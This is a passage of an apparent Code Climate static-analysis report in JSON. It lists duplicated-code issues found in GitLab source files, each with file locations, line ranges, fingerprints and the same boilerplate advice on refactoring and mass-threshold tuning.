[mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"71865084b25bec6d7d5ead8d752fb091","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/services/search_service.rb","lines":{"begin":26,"end":34}},"remediation_points":250000,"other_locations":[{"path":"app/services/search_service.rb","lines":{"begin":12,"end":20}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 30**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"71865084b25bec6d7d5ead8d752fb091","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/gitaly_client/ref_service.rb","lines":{"begin":192,"end":201}},"remediation_points":250000,"other_locations":[{"path":"lib/gitlab/gitaly_client/ref_service.rb","lines":{"begin":205,"end":214}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 30**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"87efcabb3c142197252756a6564676fa","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/gitaly_client/ref_service.rb","lines":{"begin":205,"end":214}},"remediation_points":250000,"other_locations":[{"path":"lib/gitlab/gitaly_client/ref_service.rb","lines":{"begin":192,"end":201}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 30**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"87efcabb3c142197252756a6564676fa","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"qa/qa/specs/features/browser_ui/1_manage/login/log_in_spec.rb","lines":{"begin":3,"end":12}},"remediation_points":250000,"other_locations":[{"path":"qa/qa/specs/features/browser_ui/1_manage/login/log_into_gitlab_via_ldap_spec.rb","lines":{"begin":5,"end":14}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 30**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"0022a6eabe051cdbca1e39ad3d0616a0","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"qa/qa/specs/features/browser_ui/1_manage/login/log_into_gitlab_via_ldap_spec.rb","lines":{"begin":5,"end":14}},"remediation_points":250000,"other_locations":[{"path":"qa/qa/specs/features/browser_ui/1_manage/login/log_in_spec.rb","lines":{"begin":3,"end":12}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 30**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"b769bd2ad86996248bc0cb9e9909ad48","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/controllers/admin/impersonation_tokens_controller.rb","lines":{"begin":21,"end":30}},"remediation_points":230000,"other_locations":[{"path":"app/controllers/profiles/personal_access_tokens_controller.rb","lines":{"begin":19,"end":28}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 29**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"d66178654f9f4136765d0ea5d8b3e694","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/controllers/profiles/personal_access_tokens_controller.rb","lines":{"begin":19,"end":28}},"remediation_points":230000,"other_locations":[{"path":"app/controllers/admin/impersonation_tokens_controller.rb","lines":{"begin":21,"end":30}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 29**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"7450a990959a14aea730f2b6be2c03b2","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/controllers/projects/clusters_controller.rb","lines":{"begin":72,"end":85}},"remediation_points":230000,"other_locations":[{"path":"app/controllers/projects/clusters_controller.rb","lines":{"begin":88,"end":101}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 29**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"9983d989b521b3d7814b329e7276929a","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/controllers/projects/clusters_controller.rb","lines":{"begin":88,"end":101}},"remediation_points":230000,"other_locations":[{"path":"app/controllers/projects/clusters_controller.rb","lines":{"begin":72,"end":85}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 29**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"9983d989b521b3d7814b329e7276929a","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/models/blob_viewer/podspec.rb","lines":{"begin":4,"end":26}},"remediation_points":230000,"other_locations":[{"path":"app/models/blob_viewer/gemspec.rb","lines":{"begin":4,"end":26}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 29**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"bff03fdced6cbae88ff2946f20dc10e3","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/models/blob_viewer/gemspec.rb","lines":{"begin":4,"end":26}},"remediation_points":230000,"other_locations":[{"path":"app/models/blob_viewer/podspec.rb","lines":{"begin":4,"end":26}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 29**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"51fdccc6768efcdd38f19730ffe72a7c","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/models/ci/stage.rb","lines":{"begin":96,"end":103}},"remediation_points":230000,"other_locations":[{"path":"app/models/ci/pipeline.rb","lines":{"begin":442,"end":449}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 29**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"25c1e443e5b07fc0b45f399a084137f7","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/models/ci/pipeline.rb","lines":{"begin":442,"end":449}},"remediation_points":230000,"other_locations":[{"path":"app/models/ci/stage.rb","lines":{"begin":96,"end":103}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 29**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up 